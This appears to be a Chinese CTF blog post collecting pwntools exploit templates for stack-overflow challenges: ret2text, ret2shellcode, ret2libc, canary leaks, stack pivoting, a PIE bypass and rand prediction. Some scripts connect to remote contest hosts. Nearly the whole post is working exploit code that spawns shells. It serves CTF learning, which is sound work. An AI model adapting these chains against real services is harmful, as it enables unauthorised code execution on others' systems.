板子
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "1.1.1.1"
PORT = 11111
elf = context.binary = ELF('./vuln')
libc = ELF('./libc')
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
ret2text
32位
from pwn import *
p = process('./ret2text')
system_addr = 0x0804863A
payload = b'a' * (0x6c+4) + p32(system_addr)
p.sendline(payload)
p.interactive()
64位
from pwn import *
p = process('./ret2text')
system_addr = 0x04011BB
playload = b'a'*0x20+b'b'*0x08+p64(system_addr )
p.sendline(playload)
p.interactive()
ret2shellcode
32位/64位
from pwn import *
p = process('./ret2shellcode')
shellcode=asm(shellcraft.sh())
bss_addr = 0x0804A080
payload = shellcode.ljust((0x6c+4),b'a') + p32(bss_addr)
p.sendline(payload)
p.interactive()
ret2sys
有system函数时,若没有/bin/sh字符串可选择用read函数读入到bss段,例如64位程序中:
from pwn import *
io=process('./pwn')
elf=ELF('./pwn')
system=elf.plt['system']
read=elf.sym['read']
pop_rdi_ret=0x401196
pop_rsi_ret=0x4011ad
pop_rdx_ret=0x401265
bss=0x4040A0
io.recv()
payload=b'a'*(0xa+8)
payload+=p64(pop_rdi_ret)+p64(0)
payload+=p64(pop_rsi_ret)+p64(bss)
payload+=p64(pop_rdx_ret)+p64(0x10)
payload+=p64(read)#read(0,buf,0x10)
payload+=p64(pop_rdi_ret)+p64(bss)+p64(system)
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()
有system和/bin/sh字符串(64位)
32bit:
system_addr + return_addr + bin_sh_str_addr
64bit:
ret_addr + pop_rdi_ret + bin_sh_str_addr + system_addr
from pwn import *
io=process('./pwn')
elf=ELF('./pwn')
pop_rdi=0x401196
binsh=0x402008
ret=0x40101a
shell=elf.plt['system']
payload=b'a'*(0x70+8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(shell)
io.recv()
io.sendline(payload)
io.interactive()
ret2libc
32位:(掺入了一点格式化字符串)
import LibcSearcher
from pwn import *
context.log_level='debug'
elf = ELF('./format_ropx86')
puts_plt = elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
main = elf.symbols['main']
puts_got = elf.got['puts']
vuln_addr = elf.sym['vuln']
main_addr = 0x80485ff
print(hex(puts_got))
#格式化字符串漏洞
p = remote('120.46.59.242',2105)
p.recvuntil(b"Please input your name\n")
payload1 = p32(0x0804A030) + b'a'*4 + b"%4$n"
p.sendline(payload1)
p.recvuntil(b'Please input your secret:')
###
payload2 = b'a' * (0x108+4) + p32(puts_plt) + p32(vuln_addr) + p32(puts_got)
p.sendline(payload2)
p.recvline()
#puts_addr = u32(p.recv(4))
puts_addr = u32(p.recvuntil(b'\xf7')[-4:])
print("puts_addr = "+hex(puts_addr))
libcbase_addr = puts_addr - 0x5f150
#so,system's address should be libcbase_addr + system's address in libc
system_address = libcbase_addr + 0x3a950
str_bin_sh_addr = libcbase_addr + 0x15912b
payload = b'a' * (0x108+4) + p32(system_address) + p32(0) + p32(str_bin_sh_addr)
p.sendline(payload)
p.interactive()
64位:
from pwn import *
libc=ELF('libc.so.6')
io=process('./pwn')
elf = ELF("./pwn")
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi=0x401176
ret = 0x40101a
io.recv()#接受数据
#1:泄露puts函数地址
payload=b'a'*(0xa+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendline(payload)
puts_addr=u64(io.recvuntil('\x7f').ljust(8,b'\x00'))
print(hex(puts_addr))
#2:根据puts函数地址计算libc基地址
libc_base = puts_addr - libc.sym["puts"]
print(hex(libc_base))
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
payload = b'a'*(0xa+8) + p64(rdi) + p64(binsh_addr) + p64(ret) + p64(system_addr)
io.sendline(payload)
io.interactive()
from pwn import * # pwntools
context(arch="amd64", log_level="debug", os="linux")
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
pop_ret_rdi_addr = 0x000000000002a3e5 # 64linux,用于参数填入函数
puts_plt_addr = elf.plt['puts'] # 用于调用puts,打印(泄露)got表填写的函数真实地址
main_addr = 0x4006bd # 用于返回main函数,准备第二次栈溢出(?)
ret = 0x0000000000029139 # 用于返回,否则出错(?)
io = remote("139.155.126.78",36046) # 远程连接
payload = b'a' * (0x108) # 溢出
payload += p64(pop_ret_rdi_addr) + p64(elf.got["puts"]) # pop和栈上填写信息连用,实际效果是将填入栈的值传给寄存器,这一点值得记下来;填写了puts要打印的内容是got表puts的真实地址
payload += p64(puts_plt_addr) # puts的plt地址,用于(参数准备好后)调用call puts
payload += p64(main_addr) # 因为是return puts("I hope you win"),而此时栈上已经一塌糊涂,我们手动让程序执行流回到main准备下一次溢出
io.sendlineafter("overflow?\n", payload) # 在此之后就是read,读取我们的payload。效果:打印puts的真实地址,然后返回main函数,准备在此栈溢出
#io.recvuntil('win\n')
puts_real_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) # 直到读取到\x7f结束符,然后截取后六位(地址),ljust转8字节补齐,u64转为无符号整数
# 一个地址的最高位的两个字节是00,而且实际栈地址一般是0x7fxxxx开头的,因此为了避免获取错误的地址值,只需要获取前面的6字节值,然后通过ljust函数把最高位的两字节填充成00。
print("puts_addr >>>",hex(puts_real_addr))
# =====================================================之所以称为ret2libc:=======================================================
libc_addr = puts_real_addr - libc.sym['puts'] # libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量
bin_sh_addr = libc_addr + next(libc.search(b'/bin/sh\x00')) # '/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量
system_real_addr = libc_addr+ libc.sym['system'] # system函数的真实地址=libc基址的真实地址+system函数相对于libc基址的偏移量
# ===============================================================================================================================
payload2 = b'a' * (0x38) # 栈溢出
payload2 += p64(ret) # 就是这里,其实不太明白。为什么不直接开始下一步(去掉ret),但是会出错。我的理解是,puts函数跳回,然后在
payload2 += p64(pop_ret_rdi_addr) + p64(bin_sh_addr) # system函数的参数准备,即把'/bin/sh'(的地址)传入
payload2 += p64(system_real_addr) # 调用system
payload2 += p64(main_addr) # 只是为了能够找到一个合法地址(?)
io.sendlineafter("overflow?\n", payload2) # 栈溢出点发送payload
io.recv() # 吸收一下发过来的数据,没必要
io.interactive() # 开始交互,ls -> cat flag
Canary(金丝雀保护)
64位:
from pwn import *
io=process('./pwn')
back=0x4011B6
#gdb.attach(io,'b main')
io.recv()
payload=b'a'*(0x70-8+1)
io.send(payload)
io.recvuntil(b'a'*0x68)
canary=u64(io.recv(8))-0x61
print(hex(canary))
payload=b'a'*0x68+p64(canary)+b'a'*8+p64(0x40101a)+p64(back)
io.sendline(payload)
io.interactive()
栈迁移
羊城杯2024本科组初赛pwn1
from pwn import *
from pwn import p64,u64
context(arch='amd64', os='linux', log_level="debug")
elf = ELF('./pwn666')
libc = ELF('./libc.so.6')
p = remote("1.1.1.1",1111)
pop_rdi_ret = 0x400773
pop_rbp_ret = 0x4005b0
bss_addr = 0x601000 + 0x100 + 0x30 + 0x700
leave_ret = 0x4006db
read = 0x4006C4
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = cyclic(0x30) + p64(bss_addr) + p64(read)
p.send(payload)
payload=p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(pop_rbp_ret)+p64(bss_addr-0x30-0x8)+p64(read)
payload = payload.ljust(0x30, b"\x00")
payload += p64(bss_addr-0x30-0x8)+p64(leave_ret)
p.send(payload)
puts_addr=u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
#print("puts_addr >>> "+hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
#print("libc_base >>> " + hex(libc_base))
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search(b"/bin/sh\x00"))
ret = 0x29139 + libc_base
pay=p64(pop_rdi_ret)+p64(bin_sh)+p64(ret)+p64(system)
pay = pay.ljust(0x30,b"\x00")
pay +=p64(bss_addr-0x30-0x38-0x8)+p64(leave_ret)
p.send(pay)
p.interactive()
basectf week3
from pwn import *
from ctypes import *
#----------------function area start----------------#
sla = lambda ch,data:p.sendlineafter(ch,data)
sda = lambda ch,data:p.sendafter(ch,data)
sd = lambda data:p.send(data)
sl = lambda data:p.sendline(data)
addr32 = lambda:u32(p.recvuntil(b"\xf7")[-4:])
addr64 = lambda:u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
lg = lambda addr_name,addr:log.success("{} --> {}".format(addr_name,hex(addr)))
ru = lambda con:p.recvuntil(con)
def debug(bp=0):
gdb.attach(p,bp)
pause()
#----------------function area end------------------#
# p = process("./attachment")
p = remote('challenge.basectf.fun','36079')
elf = ELF("./attachment")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
ru(b'mick0960.\n')
buf_addr = int(p.recv(14),16)
lg('buf addr',buf_addr)
seceret = 0x4011dd # skip 'push rbp' for rsp alignment
main = 0x40124a # skip 'push rbp' for rsp alignment
leave = 0x00000000004012f2
payload = p64(0) + p64(seceret) + p64(0) + p64(main) # leak libc addr
# ...
# call printf
# nop
# pop rbp ret --> p64(0)
# retn --> main
payload += p64(0)*2 # fill to rbp
payload += p64(buf_addr) + p64(leave)
sd(payload)
ru(b'0x')
libc_base = int(p.recv(12),16) - libc.sym.puts
lg('libc base',libc_base)
ru(b'mick0960.\n')
buf_addr = int(p.recv(14),16)
lg('buf addr',buf_addr)
system = libc_base + libc.sym.system
binsh = libc_base + next(libc.search(b'/bin/sh'))
pop_rdi = libc_base + 0x000000000002a3e5
ret = 0x000000000040101a
payload = p64(0) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system) + p64(0) # 'ret' is for rsp alignment
payload += p64(buf_addr) + p64(leave)
sd(payload)
p.interactive()
PIE保护
64位(basectf week3):PIE保护+ret2libc
开启了pie后,libc的低12位是不变的,main函数执行完后会跳转到libc_start_main + 128,然后执行里面的exit,printf(%s)会把libc start main的地址泄露出来,如果能在libc start main找到一段可以重新执行main函数的magic gadget就好了。由于pie的性质,也就是在libc start main + 128 近地址去找这样的gadget,在 \x89的位置有这样一段magic gadget可以重启main函数
在执行到leval ret的时候,此时的栈布局是这样的,这段magic gadget可以把栈上的main地址取出来然后call,这样就能实现重启一次main函数,再用printf泄露出来的libc地址算出libc基地址后,再拿libc里的system和binsh执行就好了
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 0
IP = "127.0.0.1"
PORT = 9999
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
payload = b"a" * 0x108 + b'\x89'
# .text:0000000000029D89 48 8B 44 24 08 mov rax, [rsp+98h+var_90]
# .text:0000000000029D8E FF D0 call rax
# g(p)
s(payload)
ru(b"a" * 0x108)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x72c545629d89 - 0x72c545600000)
success(hex(libc_base))
pop_rdi_ret = libc_base + 0x000000000002a3e5
xor_rax_rax_ret = libc_base + 0x00000000000baaf9
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload = b"a" * 0x108 + p64(pop_rdi_ret) + p64(binsh) + p64(xor_rax_rax_ret) + p64(system)
s(payload)
# g(p)
p.interactive()
伪随机数
Python
from pwn import *
import ctypes
p = remote("152.69.210.130", 1337)
py=ctypes.CDLL("./libc.so.6")
# for i in range(100):
# elf1.srand(elf1.time(0)-50+i)
# payload = str(elf1.rand()%10000+1)
# print(i,payload)
py.srand(py.time(0)+4)
payload = str(py.rand()%10000+1)
print(payload)
p.sendlineafter("guess:", payload)
p.interactive()
声明:
本文采用
BY-NC-SA
协议进行授权,如无注明均为原创,转载请注明转自
CyFin | Blog
本文地址: pwn板子
本文地址: pwn板子